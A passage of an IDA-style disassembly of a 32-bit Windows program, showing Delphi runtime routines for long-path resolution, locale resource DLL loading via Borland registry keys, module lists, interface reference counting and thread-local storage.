					; sub_40005C08+17j
		mov	eax, ebx
		call	sub_40005BC0
		mov	edi, eax
		jmp	short loc_40005C39
; ---------------------------------------------------------------------------


loc_40005C31:				; CODE XREF: sub_40005C08+1Cj
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_40005C17


loc_40005C37:				; CODE XREF: sub_40005C08+Dj
		mov	edi, esi


loc_40005C39:				; CODE XREF: sub_40005C08+27j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40005C08	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40005C40	proc near		; CODE XREF: sub_40005C60+89p
					; sub_40005C60+9Cp ...
		push	ebx
		push	esi
		mov	esi, eax
		jmp	short loc_40005C4E
; ---------------------------------------------------------------------------


loc_40005C46:				; CODE XREF: sub_40005C40+18j
		push	esi
		call	sub_400011A0	; CharNextA
		mov	esi, eax


loc_40005C4E:				; CODE XREF: sub_40005C40+4j
		movzx	ebx, byte ptr [esi]
		test	bl, bl
		jz	short loc_40005C5A
		cmp	bl, 5Ch
		jnz	short loc_40005C46


loc_40005C5A:				; CODE XREF: sub_40005C40+13j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40005C40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40005C60	proc near		; CODE XREF: sub_40005E24+A3p

var_253		= byte ptr -253h
var_14E		= byte ptr -14Eh
var_122		= byte ptr -122h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFDACh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_8], edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_C], eax
		push	offset dword_40005E00
		call	sub_400011F0	; GetModuleHandleA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0
		jz	short loc_40005CCE
		push	offset aGetlongpathnam ; "GetLongPathNameA"
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_400011F8	; GetProcAddress
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40005CCE
		push	105h
		lea	eax, [ebp+var_253]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jz	short loc_40005CCE
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_253]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_40001220	; lstrcpynA
		jmp	loc_40005DF6
; ---------------------------------------------------------------------------


loc_40005CCE:				; CODE XREF: sub_40005C60+29j
					; sub_40005C60+3Dj ...
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_40005D0E
		mov	eax, [ebp+var_4]
		cmp	byte ptr [eax+1], 5Ch
		jnz	loc_40005DF6
		mov	eax, [ebp+var_4]
		add	eax, 2
		call	sub_40005C40
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jz	loc_40005DF6
		lea	eax, [esi+1]
		call	sub_40005C40
		mov	esi, eax
		cmp	byte ptr [esi],	0
		jz	loc_40005DF6
		jmp	short loc_40005D14
; ---------------------------------------------------------------------------


loc_40005D0E:				; CODE XREF: sub_40005C60+74j
		mov	esi, [ebp+var_4]
		add	esi, 2


loc_40005D14:				; CODE XREF: sub_40005C60+ACj
		mov	ebx, esi
		sub	ebx, [ebp+var_4]
		lea	eax, [ebx+1]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_253]
		push	eax
		call	sub_40001220	; lstrcpynA
		jmp	loc_40005DD9
; ---------------------------------------------------------------------------


loc_40005D32:				; CODE XREF: sub_40005C60+17Cj
		lea	eax, [esi+1]
		call	sub_40005C40
		mov	edi, eax
		mov	eax, edi
		sub	eax, esi
		add	eax, ebx
		inc	eax
		cmp	eax, 105h
		jg	loc_40005DF6
		mov	eax, edi
		sub	eax, esi
		inc	eax
		push	eax
		push	esi
		lea	eax, [ebp+var_253]
		add	eax, ebx
		push	eax
		call	sub_40001220	; lstrcpynA
		lea	eax, [ebp+var_14E]
		push	eax
		lea	eax, [ebp+var_253]
		push	eax
		call	sub_400011C0	; FindFirstFileA
		mov	[ebp+var_10], eax
		cmp	[ebp+var_10], 0FFFFFFFFh
		jz	short loc_40005DF6
		mov	eax, [ebp+var_10]
		push	eax
		call	sub_400011B8	; FindClose
		lea	eax, [ebp+var_122]
		push	eax
		call	sub_40001228	; lstrlenA
		lea	edx, [ebx+1]
		add	eax, edx
		inc	eax
		cmp	eax, 105h
		jg	short loc_40005DF6
		mov	[ebp+ebx+var_253], 5Ch
		mov	eax, 105h
		sub	eax, ebx
		dec	eax
		push	eax
		lea	eax, [ebp+var_122]
		push	eax
		lea	eax, [ebp+var_253]
		add	eax, ebx
		inc	eax
		push	eax
		call	sub_40001220	; lstrcpynA
		lea	eax, [ebp+var_122]
		push	eax
		call	sub_40001228	; lstrlenA
		inc	eax
		add	ebx, eax
		mov	esi, edi


loc_40005DD9:				; CODE XREF: sub_40005C60+CDj
		cmp	byte ptr [esi],	0
		jnz	loc_40005D32
		mov	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_253]
		push	eax
		mov	eax, [ebp+var_4]
		push	eax
		call	sub_40001220	; lstrcpynA


loc_40005DF6:				; CODE XREF: sub_40005C60+69j
					; sub_40005C60+7Dj ...
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40005C60	endp

; ---------------------------------------------------------------------------
dword_40005E00	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0aGetlongpathnam	db 'GetLongPathNameA',0 ; DATA XREF: sub_40005C60+2Bo
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40005E24	proc near		; CODE XREF: sub_40005BC0+27p

var_11D		= byte ptr -11Dh
var_18		= dword	ptr -18h
var_12		= byte ptr -12h
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_B		= byte ptr -0Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFEE0h
		push	ebx
		push	esi
		mov	[ebp+var_4], eax
		push	105h
		lea	eax, [ebp+var_11D]
		push	eax
		push	0
		call	sub_400011E8	; GetModuleFileNameA
		mov	[ebp+var_12], 0
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorl_0 ; "Software\\Borland\\Locales"
		push	80000001h
		call	sub_40001240	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40005EA7
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorl_0 ; "Software\\Borland\\Locales"
		push	80000002h
		call	sub_40001240	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40005EA7
		lea	eax, [ebp+var_8]
		push	eax
		push	0F0019h
		push	0
		push	offset aSoftwareBorl_1 ; "Software\\Borland\\Delphi\\Locales"
		push	80000001h
		call	sub_40001240	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_40005F30


loc_40005EA7:				; CODE XREF: sub_40005E24+41j
					; sub_40005E24+5Fj
		xor	eax, eax
		push	ebp
		push	offset loc_40005F29
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	[ebp+var_18], 5
		lea	eax, [ebp+var_11D]
		mov	edx, 105h
		call	sub_40005C60
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_40001248	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40005F0E
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	0
		push	0
		push	offset dword_40006090
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_40001248	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40005F0E
		mov	[ebp+var_12], 0


loc_40005F0E:				; CODE XREF: sub_40005E24+C6j
					; sub_40005E24+E4j
		mov	[ebp+var_E], 0
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40005F30


loc_40005F1F:				; CODE XREF: sub_40005E24+10Aj
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_40001238	; RegCloseKey
		retn
; ---------------------------------------------------------------------------


loc_40005F29:				; DATA XREF: sub_40005E24+86o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_40005F1F
; ---------------------------------------------------------------------------


loc_40005F30:				; CODE XREF: sub_40005E24+7Dj
					; DATA XREF: sub_40005E24+F6o
		push	105h
		mov	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_40001220	; lstrcpynA
		push	5
		lea	eax, [ebp+var_D]
		push	eax
		push	3
		call	sub_40001208	; GetThreadLocale
		push	eax
		call	sub_400011E0	; GetLocaleInfoA
		xor	esi, esi
		cmp	[ebp+var_11D], 0
		jz	loc_4000604A
		cmp	[ebp+var_D], 0
		jnz	short loc_40005F77
		cmp	[ebp+var_12], 0
		jz	loc_4000604A


loc_40005F77:				; CODE XREF: sub_40005E24+147j
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_40001228	; lstrlenA
		mov	ebx, eax
		lea	eax, [ebp+var_11D]
		add	ebx, eax
		jmp	short loc_40005F90
; ---------------------------------------------------------------------------


loc_40005F8F:				; CODE XREF: sub_40005E24+179j
		dec	ebx


loc_40005F90:				; CODE XREF: sub_40005E24+169j
		cmp	byte ptr [ebx],	2Eh
		jz	short loc_40005F9F
		lea	eax, [ebp+var_11D]
		cmp	ebx, eax
		jnz	short loc_40005F8F


loc_40005F9F:				; CODE XREF: sub_40005E24+16Fj
		lea	eax, [ebp+var_11D]
		cmp	ebx, eax
		jz	loc_4000604A
		inc	ebx
		cmp	[ebp+var_12], 0
		jz	short loc_40005FDC
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_12]
		push	eax
		push	ebx
		call	sub_40001220	; lstrcpynA
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_40001210	; LoadLibraryExA
		mov	esi, eax


loc_40005FDC:				; CODE XREF: sub_40005E24+18Ej
		test	esi, esi
		jnz	short loc_4000604A
		cmp	[ebp+var_D], 0
		jz	short loc_4000604A
		lea	eax, [ebp+var_11D]
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_D]
		push	eax
		push	ebx
		call	sub_40001220	; lstrcpynA
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_40001210	; LoadLibraryExA
		mov	esi, eax
		test	esi, esi
		jnz	short loc_4000604A
		mov	[ebp+var_B], 0
		lea	eax, [ebp+var_11D]
		mov	edx, ebx
		sub	edx, eax
		mov	eax, 105h
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_D]
		push	eax
		push	ebx
		call	sub_40001220	; lstrcpynA
		push	2
		push	0
		lea	eax, [ebp+var_11D]
		push	eax
		call	sub_40001210	; LoadLibraryExA
		mov	esi, eax


loc_4000604A:				; CODE XREF: sub_40005E24+13Dj
					; sub_40005E24+14Dj ...
		mov	eax, esi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40005E24	endp

; ---------------------------------------------------------------------------
		align 4
aSoftwareBorl_0	db 'Software\Borland\Locales',0 ; DATA XREF: sub_40005E24+30o
					; sub_40005E24+4Eo
		align 10h
aSoftwareBorl_1	db 'Software\Borland\Delphi\Locales',0 ; DATA XREF: sub_40005E24+6Co
dword_40006090	dd 0		
; =============== S U B	R O U T	I N E =======================================



sub_40006094	proc near		; CODE XREF: sub_400191F8+24p
		call	sub_400060A4
		retn
sub_40006094	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000609C	proc near		; CODE XREF: sub_40013ED4+6Ep
		call	sub_400060C4
		retn
sub_4000609C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400060A4	proc near		; CODE XREF: sub_40006094p
					; sub_400190AC+50p
		push	ebx
		mov	ebx, eax
		mov	eax, 8
		call	sub_40002C20
		mov	edx, dword_4001A03C
		mov	[eax], edx
		mov	[eax+4], ebx
		mov	dword_4001A03C,	eax
		pop	ebx
		retn
sub_400060A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400060C4	proc near		; CODE XREF: sub_4000609Cp
					; sub_4000CC50+2Cp
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	ebp, eax
		mov	edi, dword_4001A03C
		test	edi, edi
		jz	short loc_400060F5
		mov	eax, [edi+4]
		cmp	eax, ebp
		jnz	short loc_400060F5
		mov	eax, dword_4001A03C
		mov	eax, [eax]
		mov	dword_4001A03C,	eax
		mov	edx, 8
		mov	eax, edi
		call	sub_40002C3C
		jmp	short loc_40006122
; ---------------------------------------------------------------------------


loc_400060F5:				; CODE XREF: sub_400060C4+Ej
					; sub_400060C4+15j
		mov	ebx, edi
		test	ebx, ebx
		jz	short loc_40006122


loc_400060FB:				; CODE XREF: sub_400060C4+5Cj
		mov	esi, [ebx]
		test	esi, esi
		jz	short loc_4000611C
		mov	eax, [esi+4]
		cmp	eax, ebp
		jnz	short loc_4000611C
		mov	edi, esi
		mov	eax, [esi]
		mov	[ebx], eax
		mov	edx, 8
		mov	eax, edi
		call	sub_40002C3C
		jmp	short loc_40006122
; ---------------------------------------------------------------------------


loc_4000611C:				; CODE XREF: sub_400060C4+3Bj
					; sub_400060C4+42j
		mov	ebx, [ebx]
		test	ebx, ebx
		jnz	short loc_400060FB


loc_40006122:				; CODE XREF: sub_400060C4+2Fj
					; sub_400060C4+35j ...
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_400060C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40006128	proc near		; CODE XREF: sub_40006194+1Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_4], eax
		mov	eax, dword_4001A03C
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_4000617B


loc_40006142:				; CODE XREF: sub_40006128+51j
		xor	eax, eax
		push	ebp
		push	offset loc_40006163
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		mov	ebx, [ebp+var_8]
		mov	eax, [ebp+var_4]
		call	dword ptr [ebx+4]
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		jmp	short loc_4000616D
; ---------------------------------------------------------------------------


loc_40006163:				; DATA XREF: sub_40006128+1Do
		jmp	sub_400040D8
; ---------------------------------------------------------------------------
		call	sub_40004360


loc_4000616D:				; CODE XREF: sub_40006128+39j
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jnz	short loc_40006142


loc_4000617B:				; CODE XREF: sub_40006128+18j
		pop	edi
		pop	esi
		pop	ebx
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_40006128	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40006184	proc near		; CODE XREF: sub_40006468+5p
		mov	edx, off_4001A038
		mov	[eax], edx
		mov	off_4001A038, eax
		retn
sub_40006184	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40006194	proc near		; CODE XREF: sub_40004790+73p

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		xor	edx, edx
		push	ebp
		push	offset loc_400061F8
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		mov	eax, [ebp+var_4]
		mov	eax, [eax+4]
		call	sub_40006128
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400061FF


loc_400061C1:				; CODE XREF: sub_40006194+69j
		mov	eax, [ebp+var_4]
		cmp	eax, off_4001A038
		jnz	short loc_400061D8
		mov	eax, [ebp+var_4]
		mov	eax, [eax]
		mov	off_4001A038, eax
		jmp	short loc_400061F7
; ---------------------------------------------------------------------------


loc_400061D8:				; CODE XREF: sub_40006194+36j
		mov	eax, off_4001A038
		test	eax, eax
		jz	short loc_400061F7


loc_400061E1:				; CODE XREF: sub_40006194+61j
		mov	edx, [eax]
		cmp	edx, [ebp+var_4]
		jnz	short loc_400061F1
		mov	edx, [ebp+var_4]
		mov	edx, [edx]
		mov	[eax], edx
		jmp	short loc_400061F7
; ---------------------------------------------------------------------------


loc_400061F1:				; CODE XREF: sub_40006194+52j
		mov	eax, [eax]
		test	eax, eax
		jnz	short loc_400061E1


loc_400061F7:				; CODE XREF: sub_40006194+42j
					; sub_40006194+4Bj ...
		retn
; ---------------------------------------------------------------------------


loc_400061F8:				; DATA XREF: sub_40006194+Ao
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400061C1
; ---------------------------------------------------------------------------


loc_400061FF:				; CODE XREF: sub_40006194:loc_400061F7j
					; DATA XREF: sub_40006194+28o
		pop	ecx
		pop	ebp
		retn
sub_40006194	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40006204	proc near		; CODE XREF: sub_40003D9C+7Ep
					; sub_40005314+BFp ...
		mov	edx, [eax]
		test	edx, edx
		jz	short locret_40006218
		mov	dword ptr [eax], 0
		push	eax
		push	edx
		mov	eax, [edx]
		call	dword ptr [eax+8]
		pop	eax

locret_40006218:			; CODE XREF: sub_40006204+4j
		retn
sub_40006204	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4000621C	proc near		; CODE XREF: sub_40003D6C+27j
					; sub_40003D9C+63p ...
		test	edx, edx
		jz	short loc_40006239
		push	edx
		push	eax
		mov	eax, [edx]
		push	edx
		call	dword ptr [eax+4]
		pop	eax
		mov	ecx, [eax]
		pop	dword ptr [eax]
		test	ecx, ecx
		jnz	short loc_40006232
		retn
; ---------------------------------------------------------------------------


loc_40006232:				; CODE XREF: sub_4000621C+13j
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]
		retn
; ---------------------------------------------------------------------------


loc_40006239:				; CODE XREF: sub_4000621C+2j
		mov	ecx, [eax]
		test	ecx, ecx
		mov	[eax], edx
		jz	short locret_40006247
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]

locret_40006247:			; CODE XREF: sub_4000621C+23j
		retn
sub_4000621C	endp


; =============== S U B	R O U T	I N E =======================================



sub_40006248	proc near		; DATA XREF: .text:40001110o
					; .text:40007938o
		add	eax, 4
		push	eax
		call	sub_40001280	; InterlockedDecrement
		retn
sub_40006248	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40006254	proc near		; DATA XREF: .text:40001114o
					; .text:4000793Co
		cmp	dword ptr [eax+4], 0
		jz	short locret_40006261
		mov	al, 2
		call	sub_40002D50
; ---------------------------------------------------------------------------

locret_40006261:			; CODE XREF: sub_40006254+4j
		retn
sub_40006254	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40006264	proc near		; DATA XREF: .text:40001120o
					; .text:40007948o
		call	sub_40003C80
		mov	dword ptr [eax+4], 1
		retn
sub_40006264	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+8]
		mov	ecx, [ebp+10h]
		mov	edx, [ebp+0Ch]
		mov	eax, ebx
		call	sub_40003D9C
		test	al, al
		jz	short loc_40006290
		xor	eax, eax
		jmp	short loc_40006295
; ---------------------------------------------------------------------------


loc_40006290:				; CODE XREF: .text:4000628Aj
		mov	eax, 80004002h


loc_40006295:				; CODE XREF: .text:4000628Ej
		pop	ebx
		pop	ebp
		retn	0Ch
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		add	eax, 4
		push	eax
		call	sub_40001278	; InterlockedIncrement
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	ebx, [ebp+8]
		lea	eax, [ebx+4]
		push	eax
		call	sub_40001280	; InterlockedDecrement
		mov	esi, eax
		test	esi, esi
		jnz	short loc_400062D0
		mov	dl, 1
		mov	eax, ebx
		mov	ecx, [eax]
		call	dword ptr [ecx-4]


loc_400062D0:				; CODE XREF: .text:400062C5j
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_400062D8	proc near		; CODE XREF: sub_40017A1C+31Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_400062E6
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_400062E6:				; CODE XREF: sub_400062D8+8j
		call	off_4001A728
		pop	ebp
		retn
sub_400062D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400062F0	proc near		; CODE XREF: sub_40004624+16p
					; sub_4000A8E0+2Ep ...

var_1008	= byte ptr -1008h

		push	ebx
		push	esi
		add	esp, 0FFFFF004h
		push	eax
		mov	esi, edx
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_4000633E
		cmp	dword ptr [ebx+4], 10000h
		jge	short loc_40006334
		push	1000h
		lea	eax, [esp+100Ch+var_1008]
		push	eax
		mov	eax, [ebx+4]
		push	eax
		mov	eax, [ebx]
		mov	eax, [eax]
		call	sub_40005C08
		push	eax
		call	sub_40001218	; LoadStringA
		mov	ecx, eax
		mov	edx, esp
		mov	eax, esi
		call	sub_40004974
		jmp	short loc_4000633E
; ---------------------------------------------------------------------------


loc_40006334:				; CODE XREF: sub_400062F0+18j
		mov	eax, esi
		mov	edx, [ebx+4]
		call	sub_40004A7C


loc_4000633E:				; CODE XREF: sub_400062F0+Fj
					; sub_400062F0+42j
		add	esp, 1000h
		pop	esi
		pop	ebx
		retn
sub_400062F0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40006348	proc near		; CODE XREF: .itext:40019080p
		jmp	ds:dword_40024414
sub_40006348	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40006350	proc near		; DATA XREF: .text:40018320o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_400063A4
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_4001C5B8
		jnz	short loc_40006396
		mov	eax, offset dword_4001C050
		call	sub_4000349C
		mov	eax, offset dword_4001C21C
		call	sub_4000349C
		mov	eax, offset dword_4001C3E8
		call	sub_4000349C
		call	sub_40002BB4
		mov	eax, offset off_4001A040
		call	sub_40004884


loc_40006396:				; CODE XREF: sub_40006350+17j
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_400063AB


loc_400063A3:				; CODE XREF: sub_40006350+59j
		retn
; ---------------------------------------------------------------------------


loc_400063A4:				; DATA XREF: sub_40006350+6o
		jmp	loc_40004204
; ---------------------------------------------------------------------------
		jmp	short loc_400063A3
; ---------------------------------------------------------------------------


loc_400063AB:				; CODE XREF: sub_40006350:loc_400063A3j
					; DATA XREF: sub_40006350+4Eo
		pop	ebp
		retn
sub_40006350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400063B0	proc near		; CODE XREF: sub_40006474+Cp
		jmp	ds:dword_400244C0
sub_400063B0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400063B8	proc near		; CODE XREF: sub_400063D0+3p
		jmp	ds:dword_400244BC
sub_400063B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400063C0	proc near		; CODE XREF: sub_40006428+25p
					; sub_40006428+36p
		jmp	ds:dword_400244B8
sub_400063C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400063C8	proc near		; CODE XREF: sub_400063E4+3Dp
		jmp	ds:dword_400244B4
sub_400063C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_400063D0	proc near		; CODE XREF: sub_400063E4+21p
		push	eax
		push	40h
		call	sub_400063B8	; LocalAlloc
		retn
sub_400063D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400063DC	proc near		; CODE XREF: sub_400063E4+1p
		mov	eax, 0Ch
		retn
sub_400063DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_400063E4	proc near		; CODE XREF: sub_40006428:loc_40006442p
		push	ebx
		call	sub_400063DC
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40006426
		cmp	TlsIndex, 0FFFFFFFFh
		jnz	short loc_40006403
		mov	eax, 0E2h
		call	sub_40004878
; ---------------------------------------------------------------------------


loc_40006403:				; CODE XREF: sub_400063E4+13j
		mov	eax, ebx
		call	sub_400063D0
		test	eax, eax
		jnz	short loc_4000641A
		mov	eax, 0E2h
		call	sub_40004878
; ---------------------------------------------------------------------------
		jmp	short loc_40006426
; ---------------------------------------------------------------------------


loc_4000641A:				; CODE XREF: sub_400063E4+28j
		push	eax
		mov	eax, TlsIndex
		push	eax
		call	sub_400063C8	; TlsSetValue


loc_40006426:				; CODE XREF: sub_400063E4+Aj
					; sub_400063E4+34j
		pop	ebx
		retn
sub_400063E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40006428	proc near		; CODE XREF: sub_40002CA4p
					; sub_40002CA4+Ep ...
		mov	cl, ds:byte_4001E7F4
		mov	eax, TlsIndex
		test	cl, cl
		jnz	short loc_4000645D
		mov	edx, large fs:2Ch
		mov	eax, [edx+eax*4]
		retn
; ---------------------------------------------------------------------------


loc_40006442:				; CODE XREF: sub_40006428+3Dj
		call	sub_400063E4
		mov	eax, TlsIndex
		push	eax
		call	sub_400063C0	; TlsGetValue
		test	eax, eax
		jz	short loc_40006457
		retn
; ---------------------------------------------------------------------------


loc_40006457:				; CODE XREF: sub_40006428+2Cj
		mov	eax, ds:dword_4001E7FC
		retn
; ---------------------------------------------------------------------------


loc_4000645D:				; CODE XREF: sub_40006428+Dj
		push	eax
		call	sub_400063C0	; TlsGetValue
		test	eax, eax
		jz	short loc_40006442
		retn
sub_40006428	endp


; =============== S U B	R O U T	I N E =======================================



sub_40006468	proc near		; CODE XREF: sub_40006474+2Ep
		mov	eax, offset dword_4001A7B4
		call	sub_40006184
		retn
sub_40006468	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_40006474	proc near		; CODE XREF: .itext:40019408p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	TlsIndex, eax
		push	0
		call	sub_400063B0	; GetModuleHandleA
		mov	ds:dword_4001E7F8, eax
		mov	eax, ds:dword_4001E7F8
		mov	dword_4001A7B8,	eax
		xor	eax, eax
		mov	dword_4001A7BC,	eax
		xor	eax, eax
		mov	dword_4001A7C0,	eax
		call	sub_40006468
		mov	edx, offset dword_4001A7B4
		mov	eax, ebx
		call	sub_400045E4
		pop	ebx
		retn
sub_40006474	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064B8	proc near		; CODE XREF: sub_40017944+35p
		jmp	ds:dword_4002461C
sub_400064B8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064C0	proc near		; CODE XREF: sub_400141BC+1Ap
					; sub_400141EC+14p
		jmp	ds:dword_40024618
sub_400064C0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064C8	proc near		; CODE XREF: sub_40014250+AEp
		jmp	ds:dword_40024614
sub_400064C8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064D0	proc near		; CODE XREF: sub_400141BC+11p
		jmp	ds:dword_40024610
sub_400064D0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064D8	proc near		; CODE XREF: sub_40014250+7Ap
					; sub_40014374+6Cp ...
		jmp	ds:dword_4002460C
sub_400064D8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_400064E0	proc near		; CODE XREF: sub_4001452C+32p
					; sub_400146B4+2Bp
		jmp	ds:dword_40024608
sub_400064E0	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


